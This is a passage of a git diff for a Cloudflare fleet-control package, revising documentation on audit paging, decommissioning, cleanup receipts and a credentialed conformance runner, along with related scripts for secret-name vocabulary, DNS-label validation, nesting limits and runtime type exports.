64, 8,192 nodes, and 4 KiB per string value or object key. Every such refusal has a fixed message and precedes every durable effect. That enumeration is not itself ordered, but the checks are: a start reaches them in one fixed sequence, so a given input always surfaces the same fixed message. The operation id, `staleAfterMs`, and an explicit `generation` are validated first, then the record count, then the array-wide null/non-object structure check. Each record is then canonicalized in array order, and the first record that fails is refused for its own structure bound, for the 96 KiB staged-row byte bound, or — once the running total crosses 16 MiB — for the aggregate byte bound. The array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause: a record that trips both is reported as a byte refusal when a plain re-serialization exceeds the per-record bound and as a structure refusal otherwise. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. -An audit start pins one finalized R3 inventory generation before staging anything and keeps that pin through completion, so the operation's findings stay interpretable against the exact generation they were computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or `abandonFleetAuditOperation()` releases the pin — finalizing an operation alone does not. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winner's persisted generation. +An audit start pins one finalized R3 inventory generation before staging anything and keeps that pin through completion, so the operation's findings stay interpretable against the exact generation they were computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or `abandonFleetAuditOperation()` releases the pin — finalizing an operation alone does not. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winner's persisted generation. The generation a start pins is the one its persisted run record carries, so a release — on failure, on abandonment, or through the store's prune pass — names the generation the pin holds. A custom `FleetOperationStore` that persists a generation other than the one the start resolved runs, and pins, the generation it persisted. One call performs at most one bounded stage chunk: every global stage processes up to `maxItemsPerCall` items (1 through 2,000, default 500), and the `per-record` stage processes at most one Fleet record: at most one resolver triple, at most one provider inspection, and at most one guarded maintenance re-arm. A stale token returns the current durable result with no resolver, generation, or provider work, while a future token, an unknown operation, and a foreign-kind token all fail closed. @@ -465,7 +467,9 @@ Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-seria Read terminal audit findings with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})`. Its exported `FleetAuditFindingsPage` type narrows the cursor by `done`. Pass `nextAfterOrdinal` back as `afterOrdinal` until the store reports completion. Failed operations remain readable. -The store owns the final-page signal. This reader does not compare a final page with `FleetAuditProgress.findingCount`, and it does not impose a total-page bound. A custom store must satisfy `FleetOperationStore.readOperationRowsPage`; callers should bound their own traversal when diagnosing a store that keeps reporting more pages. +The store raises the final-page signal and this reader checks it against `FleetAuditProgress.findingCount`: a final page accounting for fewer rows than that count throws `fleet operation state is malformed`, so a store reporting completion early cannot truncate the findings silently. A final page accounting for more is served, because an interrupted global stage chunk leaves finding rows staged above the count its commit never reached. A short page that is not final stays a valid page. The reader imposes no total-page bound. A custom store must satisfy `FleetOperationStore.readOperationRowsPage`; callers should bound their own traversal when diagnosing a store that keeps reporting more pages. + +`limit` reaches the store as written. `D1FleetOperationStore` serves a `limit` above 1,000 at 1,000, the one documented page ceiling, so a caller asking for a larger page reads 1,000 rows and follows the cursor for the rest instead of losing the read. A `limit` that is not an integer of at least 1 is refused. `FleetOperationStore.readOperationRowsPage` requires that ceiling of a custom store too, and the in-memory doubles the suites run hold to it. Use `abandonFleetAuditOperation()` to fail a stuck running operation and release its inventory pin. Repeating abandonment on a terminal operation releases a surviving pin without changing its state. @@ -518,7 +522,7 @@ Normal decommission persists these destructive phases: 9. Persist its durable location, SHA-256 digest, and byte count 10. Persist database-deletion intent, delete the database, confirm absence, and persist `decommissioned` -That terminal row is retained rather than deleted: it keeps the complete record — the export location, SHA-256 digest, and byte count, and the application resource entries at `deleted` — which `forceDecommissionDeployment()` clears and a re-provision of the same slug replaces, as described under [Provision a deployment](#provision-a-deployment). `decommissionDeployment()` replays that export for a late retry while the terminal row is the stored row; once a re-provision has replaced it, the same call is a new decommission of the replacement, so read the export from its retained location before reprovisioning the name, or carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity. +That terminal row is retained rather than deleted: it keeps the complete record — the export location, SHA-256 digest, and byte count, and the application resource entries at `deleted` — which `forceDecommissionDeployment()` clears and a re-provision of the same slug replaces, as described under [Provision a deployment](#provision-a-deployment). `decommissionDeployment()` replays that export for a late retry while the terminal row is the stored row; once a re-provision has replaced it and the replacement is `publishing` or `ready`, the same call is a new decommission of the replacement, while a replacement still mid-provision refuses by phase. Read the export from its retained location before reprovisioning the name, or carry an in-flight decommission through `advanceDecommissionDeployment()`, whose token carries the operation identity. Zero ingress covers every surface owned by the workload. Plain Workers must have no custom domain or zone route, and fleet control explicitly disables and rechecks workers.dev and preview URLs. Workers for Platforms deployments must have no `HOSTS` record. A backend switch checks `HOSTS` plus every ordinary bridge ingress surface. If ingress drift or a late R2 write appears after removal, fleet control preserves the traffic-removed state and every script, credential, platform resource, and bucket. It does not restore traffic. Remove the unexpected ingress or evacuate the bucket directly, then retry. @@ -572,7 +576,7 @@ No-export database deletion is admissible only when the deployment provably neve A completed cleanup atomically persists an immutable operation-keyed terminal receipt, releases the deployment's ownership claims, and deletes the fleet row in one D1 batch. The receipt records the admitted phase, the authority (`manual-cleanup` or `provisioning-rollback`), the disposition (`reservation-cleared` or `prepublication-owned-no-export`), and provider-text-free evidence. Receipts survive reprovisioning of the same key and force decommission, so a delayed token converges on its receipt instead of touching a new row. Read one with `readCleanupReceipt()`; prune explicitly with `pruneCleanupReceipts({ completedBeforeMs, limit })`, which uses the database-assigned completion time, a stable order, and an integer limit from 1 through 1,000. Pruning invalidates delayed tokens for exactly the pruned operations. -A failed provision whose rollback admits the engine is durably `cleanup-advancing`: `provisionDeployment()` refuses to resume that row and directs to cleanup; complete the cleanup to its receipt, then reprovision fresh. `provisionDeployment({ failureCleanup: 'bounded' })` performs at most one bounded advance during rollback and surfaces the resumable outcome through `ProvisioningError.cleanup`. `forceDecommissionDeployment()` refuses during an active bounded cleanup — after remediation, `restart-blocked` is the only resolution for a blocked operation. On capable stores, force releases the deployment's current ownership claims with its terminal row delete; a legacy lease implementation without `deleteReleasingClaims` keeps tombstone claims through the plain row delete. Force remains receipt-free and evidence-free, and it does not delete the ordinary Worker script or application R2 buckets, so confirm the residual physical resources are removed before reprovisioning the same names. Provisioning fails closed on what remains rather than adopting it. A terminal row that retains an application resource refuses re-provision by that name and directs to `forceDecommissionDeployment()`. A re-provision over a retired terminal row proves the reserved database name free before it claims the row, so that refusal leaves the record and its export triple intact. The plain-Worker backend refuses to upload over a surviving script whose deployed versions bind another tenant, environment, or database. +A failed provision whose rollback admits the engine is durably `cleanup-advancing`: `provisionDeployment()` refuses to resume that row and directs to cleanup; complete the cleanup to its receipt, then reprovision fresh. `provisionDeployment({ failureCleanup: 'bounded' })` performs at most one bounded advance during rollback and surfaces the resumable outcome through `ProvisioningError.cleanup`. `forceDecommissionDeployment()` refuses during an active bounded cleanup — after remediation, `restart-blocked` is the only resolution for a blocked operation. On capable stores, force releases the deployment's current ownership claims with its terminal row delete; a legacy lease implementation without `deleteReleasingClaims` keeps tombstone claims through the plain row delete. Force remains receipt-free and evidence-free, and it does not delete the ordinary Worker script or application R2 buckets, so confirm the residual physical resources are removed before reprovisioning the same names. Three artifacts fail closed on what remains rather than adopting it: provisioning proves the reserved database name free before it claims that name, refuses to claim a pre-existing R2 bucket for a reserved application resource, and, through the plain-Worker backend, refuses the surviving-script case stated below. A Durable Object namespace a force leaves behind has no such gate on the force-then-provision path. A terminal row that retains an application resource refuses re-provision by that name and directs to `forceDecommissionDeployment()`. A re-provision over a retired terminal row proves the reserved database name free before it claims the row, so that refusal leaves the record and its export triple intact. The plain-Worker backend refuses to upload over a surviving script whose deployed versions bind another tenant, environment, or database. ## Deploy the Workers for Platforms control plane @@ -652,9 +656,11 @@ A backend wrapper records a valid, nonempty `wrangler versions list --json` vers ## Run the direct-API credentialed proof -Use the repository's direct-API lane to verify ordinary Worker provisioning, migration interruption and resumption, execution-fence proofs, and teardown. The offline acceptance runs the real runtime through a fixture provider and local workerd, starting from confirmed bootstrap receipts. It exercises bootstrap revalidation and teardown; resource creation and live provider behavior require the credentialed lane. No live acceptance is established until you supply credentials and run it against an account. +Use the repository's direct-API lane to verify ordinary Worker provisioning, migration interruption and resumption, execution-fence proofs, and teardown. The offline acceptance runs the real runtime through a fixture provider and local workerd, starting from confirmed bootstrap receipts. It exercises bootstrap revalidation and teardown; resource creation and live provider behavior require the credentialed lane. No live acceptance is established until you supply credentials and run it against an account: offline results establish no live resource creation, no live account cleanup, and no recovery authorization. -Start with the [direct configuration shape](../packages/fleet-control/scripts/direct-credentialed-conformance.example.json). Supply the reference and tenant artifacts and their digests, an owned hostname, a disposable resource prefix, and explicit request and invocation limits. Keep credentials outside the configuration. For the deployment protocol, follow [Roll out an artifact under the execution fence](#roll-out-an-artifact-under-the-execution-fence). +The scenario force-decommissions role `a`'s terminal row and records that the call issues no provider request. The inventory proof compares the custom-domain hostnames routed to each tenant script before and after migration. + +Start with the [direct configuration shape](../packages/fleet-control/scripts/direct-credentialed-conformance.example.json). Supply the reference and tenant artifacts and their digests, an owned hostname, a disposable resource prefix, explicit request and invocation limits, and `disposableAccount`, the boolean that decides whether the residual scan records account-wide counts beside the prefix-scoped ones. Keep credentials outside the configuration. For the deployment protocol, follow [Roll out an artifact under the execution fence](#roll-out-an-artifact-under-the-execution-fence). Run this lane on Linux from a repository checkout. It uses a filesystem lock and stores the journal and evidence under `.direct-conformance//` beside the configuration file. Preserve that directory and the configuration bytes when resuming. @@ -669,16 +675,16 @@ Set these environment variables: Values must be nonempty, without surrounding whitespace or control characters. The runner does not load `.env` files or discover a Wrangler login. Help needs no configuration or credentials. -Validate the local configuration and artifacts before supplying credentials. The default mode is `--preflight`; it constructs no SDK client, takes no run lock, and writes no evidence. The workspace script builds the package before invoking the entry: +Validate the local configuration and artifacts before supplying credentials. The default mode is `--preflight`; it constructs no SDK client, takes no run lock, writes no evidence, and needs no built package output: ```bash -pnpm fleet-control:credentialed:direct -- --preflight +node packages/fleet-control/scripts/direct-credentialed-conformance.mjs --preflight ``` -After a build, the entry avoids another build for local preflight: +The workspace script builds the package first, which is what the live modes below need: ```bash -node packages/fleet-control/scripts/direct-credentialed-conformance.mjs --preflight +pnpm fleet-control:credentialed:direct -- --preflight ``` Start a new run with `--run`. When it exits with `3`, run `--resume` in a fresh process using the same configuration and credentials: @@ -694,20 +700,22 @@ Modes are mutually exclusive. Use `--help` for usage. Live modes require built p | --- | --- | --- | | `0` | Cleaned, or successful preflight/help | Inspect the summary and, for a live run, evidence | | `1` | Failed, outcome unknown, or run-state refusal | Inspect the refusal and retained identities | -| `2` | Invalid usage, environment, configuration, or live-mode admission | Correct the named input | +| `2` | Invalid usage, environment, configuration, or live-mode admission | Correct the named input, or the credential itself where the refusal is that it collides with a line the CLI prints or with a key `evidence.json` carries, digits alone included because the artifact's arrays are keyed by index — a live run would otherwise reach the end and withhold its output. A live-mode refusal whose own diagnostic would contain the refused credential prints nothing, so re-check each variable in the table above | | `3` | Restart required | Resume in a fresh process | | `4` | Resources retained | Use the recorded facts for recovery approval | -| `5` | Evidence failed, or the summary line is withheld because it would contain a credential | With a summary, check `evidenceWritten`; with no output at all, read `evidence.json` directly: its `exitCode` and `status` are the run's own | +| `5` | The evidence file was not published, or a required summary line was withheld because it would contain a credential — before or after `evidence.json` was written | Recover from the evidence artifact; the evidence writer below says which branch this run is in | + +A run that resolves more than one code reports the highest: evidence failure, then failure, then the code the run itself reached. A late internal error therefore reports `1` for a run whose own outcome was `3` or `4`. A summary too large to print is a separate case: its members are replaced by a fixed `internal-error` line, or by the `evidence-failed` pair when the run had already resolved `5`, and the exit code stays the one the run resolved — so a `--preflight` whose summary overflows still exits `0` with a fixed line in place of the summary. -A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports retained identities, and writes evidence without mutating the journal. Pending teardown work can resume reconciliation. After the ingress probe, the client re-sends identical requests under one reservation within the shorter of 120 seconds or the invocation timeout: read-only actions retry transport failures and non-contract answers; mutations retry only unmarked 404 text pages. The first send and any answer whose contract headers have arrived are bounded by the invocation timeout alone. Answer failures report a fixed `detail`: `platform-page`, `transport-failure`, `non-contract-answer`, or `delivery-window-expired` when read-only delivery exhausts that window. Concurrent callers fail with `lock-unavailable`; an existing run refuses `--run` with `run-exists`. +In `--run` and `--resume` every line the CLI writes is scanned before it is written — the usage line and the internal-error diagnostic included — and is withheld rather than printed when it would carry `CLOUDFLARE_API_TOKEN` or `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET`. The scan covers each line joined to the lines already written, in both orders, because a reader interleaving the two descriptors can see either. A withheld stdout summary is itself exit `5`; a withheld stderr copy or fixed diagnostic leaves the resolved code alone. The other modes print without a guard: they read no credential. -Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes. The evidence records request counts from the run’s own counters, per transport, and reads no provider billing. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state. +A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports the run directory and the retained identities, and writes evidence into that directory without mutating the journal. Pending teardown work can resume reconciliation. After the ingress probe, the client re-sends identical requests under one reservation within the shorter of 120 seconds or the invocation timeout: read-only actions retry transport failures and non-contract answers; mutations retry only unmarked 404 text pages. The first send and any answer whose contract headers have arrived are bounded by the invocation timeout alone. Answer failures report a fixed `detail`: `platform-page`, `transport-failure`, `non-contract-answer`, or `delivery-window-expired` when read-only delivery exhausts that window. Concurrent callers fail with `lock-unavailable`, and so does a host that cannot take the lock at all — a platform other than Linux, or one whose process exposes no user id or none of the `O_NOFOLLOW`, `O_NONBLOCK` and `O_DIRECTORY` flags the private handles need. An existing run refuses `--run` with `run-exists`. -The scenario force-decommissions role `a`’s terminal row and records that the call issues no provider request. The inventory proof compares the custom-domain hostnames routed to each tenant script before and after migration. +Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes. The evidence records request counts from the run's own counters, per transport, and reads no provider billing. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition and `exitCode` the code the run itself resolved, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state. -The writer scans decoded string values and serialized bytes for credentials and forbidden literals. It writes with mode `0600`, verifies a temporary file by reading it back, and replaces the artifact atomically before syncing the directory. A failure before replacement leaves an older artifact untouched and reports `evidenceWritten: false`; a directory-sync failure after replacement reports `true` with durability unconfirmed. Summaries and refusals exclude raw provider errors, credentials, headers, and bodies. +The writer scans decoded string values and serialized bytes for credentials and forbidden literals. It writes with mode `0600`, verifies a temporary file by reading it back, and replaces the artifact atomically before syncing the directory. A failure before replacement leaves an older artifact untouched and reports `evidenceWritten: false`; a directory-sync failure after replacement reports `true` with durability unconfirmed. On exit `5` a printed summary carries `evidenceWritten` and says which of those two the run is in; with no output at all, read `evidence.json` directly: its `exitCode` and `status` are the run's own, and they disagree with the process exit when publication rather than the run failed. Summaries and refusals exclude raw provider errors, credentials, headers, and bodies. -Treat residual inventory according to its recorded scope. The scan lists scripts, domains, routes, and queues as single pages, and each records `exhaustive` from the provider's `result_info`: `true` when the provider corroborated the page, `false` when it sent no attestation. The transport refuses a response whose `result_info` contradicts a complete page. `isSettled` asserts a prefix-scoped zero residual on each recorded surface, and a global zero residual only under `disposableAccount: true`, both from the recorded counts; the global bucket count covers the `default` jurisdiction. A journal written before this version carries no queues surface and is refused on resume, so start a new run. Offline results do not establish live resource creation, live account cleanup, or recovery authorization. +Treat residual inventory according to its recorded scope. Scripts, domains, routes, and queues each record `exhaustive` from the provider's `result_info`: `true` when that `result_info` corroborated the page, `false` otherwise — absent, null, empty, or carrying neither total. The queues scan also records `false` where the account answers 404, which it reads as an account carrying no queue collection and stands in for with an empty page; the zero counts it then records are that reading rather than a page the provider sent. The transport refuses a response whose `result_info` contradicts a complete page. `isSettled` asserts a prefix-scoped zero residual on each recorded surface, and a global zero residual only under `disposableAccount: true`, both from the recorded counts; it also asserts that `versionsGone` is not `false` — an unknown reading does not fail it — and that the dispatch surface is not `fail-closed` and carries a zero prefixed count. The global bucket count, recorded only under `disposableAccount: true`, covers the `default` jurisdiction. Set `disposableAccount: true` only for an account that held nothing on any surface the scan reads when the run started, including surfaces this lane never creates: a queue the account already carried is counted globally and reports `residual-present` on a run that removed everything it made. A journal that recorded a residual observation whose surfaces omit `queues` is refused on resume; start a new run. One that recorded no residual observation resumes normally. ## Preserve the control-plane boundary diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index c7019a0c..f390d3aa 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -13,8 +13,6 @@ Public behavior: Source map: -- `scripts/`: repository conformance tooling; `direct-credentialed-conformance.mjs` is the direct-API CLI entry, with runtime orchestration, journal, evidence, bootstrap, scenario, and teardown modules beside it - - `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the Worker-safe bounded normal coordinator is isolated in `decommission-advance.ts`; the root-only bounded switch coordinator remains in `backend-switch.ts`) - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence @@ -28,9 +26,11 @@ Source map: - `fleet-inventory-state.ts`, `fleet-inventory-advance.ts`, `d1-fleet-inventory-run-store.ts`: inventory state, coordinator and generation storage - `fleet-migration-state.ts`, `fleet-migration-advance.ts`: migration state and coordinator - `workers/`: the platform's own deployed Workers, published as separate export entries +- `scripts/`: repository conformance tooling; `direct-credentialed-conformance.mjs` is the direct-API CLI entry, with runtime orchestration, journal, evidence, bootstrap, scenario, and teardown modules beside it ```bash pnpm fleet-control:check pnpm test:packed-fleet-control pnpm fleet-control:credentialed +pnpm fleet-control:credentialed:direct ``` diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs index 7e8ed151..2aaa4268 100644 --- a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs @@ -11,7 +11,11 @@ import { inventory, openDirectProviderSession, } from './direct-credentialed-provider.mjs'; -import { DirectRunStateError } from './direct-credentialed-run-state.mjs'; +import { REFERENCE_SECRET_NAMES } from './direct-credentialed-reference-vocabulary.mjs'; +import { + DirectRunStateError, + mutationPending, +} from './direct-credentialed-run-state.mjs'; // The SDK's repeated type query parameters return no rows from the live API. const ZONE_TYPES = Object.freeze(['full', 'partial', 'secondary', 'internal']); @@ -108,11 +112,7 @@ async function checkedInput(input) { ) ) refuse('invalid-input'); - if ( - snapshot.lastInvocation?.state === 'pending' || - snapshot.bootstrap?.pending - ) - refuse('outcome-unknown'); + if (mutationPending(snapshot)) refuse('outcome-unknown'); if ( snapshot.invocationCount > 0 && (!snapshot.bootstrap?.upload || !snapshot.bootstrap?.ingress) @@ -573,11 +573,6 @@ export async function bootstrapDirectConformance(input) { text: JSON.stringify(runBinding), }, ]; - const secretNames = [ - 'CLOUDFLARE_API_TOKEN', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', - 'DIRECT_DEPLOYMENT_SECRETS', - ]; if (!state.upload) { await workerAbsent(); const { generateDirectDeploymentSecrets } = await import( @@ -604,7 +599,7 @@ export async function bootstrapDirectConformance(input) { }, bindings: [ ...bindings, - ...secretNames.map((name, index) => ({ + ...REFERENCE_SECRET_NAMES.map((name, index) => ({ name, type: 'secret_text', text: values[index], @@ -721,7 +716,7 @@ export async function bootstrapDirectConformance(input) { ); const expectedBindings = providerBindingsToPlainWorkerShape([ ...bindings, - ...secretNames.map((name) => ({ name, type: 'secret_text' })), + ...REFERENCE_SECRET_NAMES.map((name) => ({ name, type: 'secret_text' })), ]).sort((a, b) => a.name.localeCompare(b.name)); const checkBindings = (value) => { if (!Array.isArray(value)) refuse(); diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts index 2443a877..811c3aaa 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts @@ -2,6 +2,12 @@ export const DIRECT_CONFORMANCE_CONTRACT_VERSION: 1; +/** + * One DNS label: 1-63 characters, alphanumeric at both ends. The configured + * host and a journalled route hostname are both built on it. + */ +export const DNS_LABEL: RegExp; + export interface DirectAuxiliaryWasmIntent { readonly file: string; readonly name: string; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs index 209510e1..50928415 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs @@ -12,7 +12,13 @@ export const DIRECT_CONFORMANCE_CONTRACT_VERSION = 1; const PREFIX = /^fc[a-f0-9]{24}$/u; const DIGEST = /^[a-f0-9]{64}$/u; const DATE = /^\d{4}-\d{2}-\d{2}$/u; -const DNS_LABEL = /^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u; +/** + * One DNS label: 1-63 characters, alphanumeric at both ends. `hostname` below + * applies it to a configured host, and the run journal applies it to a recorded + * route hostname, so the label grammar has one definition. The pattern carries + * no `g` flag and holds no state, so both readers can test against it. + */ +export const DNS_LABEL = /^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u; const RUNTIME_KEYS = [ 'artifact', 'compatibilityDate', @@ -226,6 +232,10 @@ export function validateDirectConformanceConfig(value, options = {}) { ); if (input.contractVersion !== DIRECT_CONFORMANCE_CONTRACT_VERSION) throw invalid('contractVersion'); + // `disposableAccount: true` is an assertion about the account, not about the + // run: teardown records a global count on the surfaces it scans, queues + // among them, so a resource the account already held there is read as a + // residual this run failed to remove. if (typeof input.disposableAccount !== 'boolean') throw invalid('disposableAccount'); const environment = string(input.environment, 'environment'); diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs index e7dc9a0c..f30500d4 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs @@ -82,7 +82,33 @@ function utf8(bytes, field) { } } +/** + * The bracket-nesting ceiling both parsers below run under. Recursive-descent + * depth is what exhausts a stack, and the host's stack size is what decides + * when; bounding the depth here decides it for every host alike, so one + * artifact gets one verdict. + */ +const DIRECT_MAX_NESTING_DEPTH = 512; + +// A lexical count over the whole text, literal and comment content included: an +// unbalanced bracket inside a string raises the reading and refuses the +// artifact, which is the direction a gate fails in. +function inspectNesting(text, field) { + let depth = 0; + for (const character of text) { + if (character === '(' || character === '[' || character === '{') { + depth += 1; + if (depth > DIRECT_MAX_NESTING_DEPTH) throw invalid(`${field} nesting`); + } else if ( + (character === ')' || character === ']' || character === '}') && + depth > 0 + ) + depth -= 1; + } +} + function inspectModule(text, reference, field, wasm) { + inspectNesting(text, field); const syntax = spawnSync( process.execPath, ['--input-type=module', '--check'], diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts index 521f29e3..0705ef14 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts @@ -2,6 +2,10 @@ import type { bootstrapDirectConformance } from './direct-credentialed-bootstrap.mjs'; import type { preflightDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { + DirectLiveMode, + writeDirectEvidence, +} from './direct-credentialed-evidence.mjs'; import type { inspectDirectRunState, openDirectRunState, @@ -16,9 +20,38 @@ export interface DirectConformanceModules { bootstrap: typeof bootstrapDirectConformance; scenario: typeof runDirectCredentialedScenario; teardown: typeof teardownDirectReference; + writeEvidence: typeof writeDirectEvidence; distPresent: () => boolean; } export type DirectConformanceMode = 'preflight' | 'run' | 'resume' | 'help'; +export const DIRECT_CONFORMANCE_MODES: readonly DirectConformanceMode[]; +export const DIRECT_LIVE_MODES: readonly DirectLiveMode[]; +export function isDirectLiveMode( + mode: DirectConformanceMode | null, +): mode is DirectLiveMode; +export const DIRECT_CREDENTIAL_VARIABLES: readonly string[]; +export const DIRECT_ADMISSION_VARIABLES: readonly string[]; +export const DIRECT_CONFORMANCE_CODES: Readonly<{ + belowScenarioFloor: 'below-scenario-floor'; + distMissing: 'dist-missing'; + evidenceFailed: 'evidence-failed'; + internalError: 'internal-error'; + invalidInput: 'invalid-input'; + preflightFailed: 'preflight-failed'; + usage: 'usage'; +}>; +export type DirectConformanceCode = + (typeof DIRECT_CONFORMANCE_CODES)[keyof typeof DIRECT_CONFORMANCE_CODES]; +export const DIRECT_CONFORMANCE_EXIT_CODES: Readonly<{ + success: 0; + failed: 1; + invalidInput: 2; + restartRequired: 3; + retained: 4; + evidenceFailed: 5; +}>; +export type DirectConformanceExitCode = + (typeof DIRECT_CONFORMANCE_EXIT_CODES)[keyof typeof DIRECT_CONFORMANCE_EXIT_CODES]; export const DIRECT_CONFORMANCE_USAGE: string; export const DIRECT_OUTPUT_PREFIX: string; export const DIRECT_USAGE_DIAGNOSTIC: string; @@ -27,10 +60,61 @@ export const DIRECT_FIXED_OUTPUT: readonly string[]; export function parseDirectConformanceArgs( argv: readonly string[], ): DirectConformanceMode | null; +export function directLineCarries( + line: string, + values: readonly (string | undefined)[], +): boolean; +export function directWritesStderr(result: DirectConformanceResult): boolean; +/** + * Resolves one process exit code from several. `evidenceFailed` ranks above + * `failed`, which ranks above every other code, so a late failure replaces the + * `restartRequired` or `retained` code a run had already reached. + */ export function resolveDirectExitCode( current: number | null, next: number, ): number; +/** + * The summary a run resolves. `code` is one of `DIRECT_CONFORMANCE_CODES` when + * the runtime minted it, and the refusal's own code when a run-state or + * bootstrap error carried one. + */ +export type DirectConformanceSummary = Readonly<{ + code?: string; + variable?: string; + evidenceWritten?: boolean; +}> & + Readonly>; +/** + * The two shapes a run resolves to. + * + * `stdoutLine` and `stderrLine` are the only members a caller writes: each is + * scanned against the run's credentials and the forbidden literals, and is + * `null` where the safe rendering is silence. `summary` is the same content + * parsed back and carries bytes those lines withhold, so it belongs in an + * assertion or a log the operator already trusts, never on a stream. + * + * The second member is live-mode admission, which refuses on stderr alone: it + * exits 2, prints no summary, and its stderr line is one of + * `DIRECT_FIXED_OUTPUT` or `null`. + */ +export type DirectConformanceResult = + | Readonly<{ + exitCode: DirectConformanceExitCode; + summary: DirectConformanceSummary; + evidencePath: string | null; + stdoutLine: string | null; + stderrLine: string | null; + stderrOnly?: undefined; + }> + | Readonly<{ + exitCode: 2; + summary: DirectConformanceSummary; + evidencePath: null; + stdoutLine: null; + stderrLine: string | null; + stderrOnly: true; + }>; export function runDirectConformance( input: Readonly<{ mode: DirectConformanceMode; @@ -42,13 +126,4 @@ export function runDirectConformance( git?: () => string | null; modules?: Partial; }>, -): Promise< - Readonly<{ - exitCode: number; - summary: object; - evidencePath: string | null; - stdoutLine: string | null; - stderrLine: string | null; - stderrOnly?: true; - }> ->; +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs index ac7e4394..7f27ea23 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs @@ -11,6 +11,8 @@ import { import { preflightDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; import { buildDirectEvidence, + DIRECT_CONFORMANCE_COMMANDS, + DIRECT_EVIDENCE_KEYS, DIRECT_EVIDENCE_LITERALS, DirectEvidenceWriteError, inspectDirectEvidence, @@ -18,6 +20,7 @@ import { } from './direct-credentialed-evidence.mjs'; import { validateProviderAuth } from './direct-credentialed-provider.mjs'; import { + DIRECT_RUN_TIMESTAMP, DirectRunStateError, inspectDirectRunState, openDirectRunState, @@ -30,41 +33,94 @@ const packageDirectory = resolve(dirname(fileURLToPath(import.meta.url)), '..'); export const DIRECT_CONFORMANCE_USAGE = 'Usage: pnpm fleet-control:credentialed:direct -- [--preflight|--run|--resume|--help]'; export const 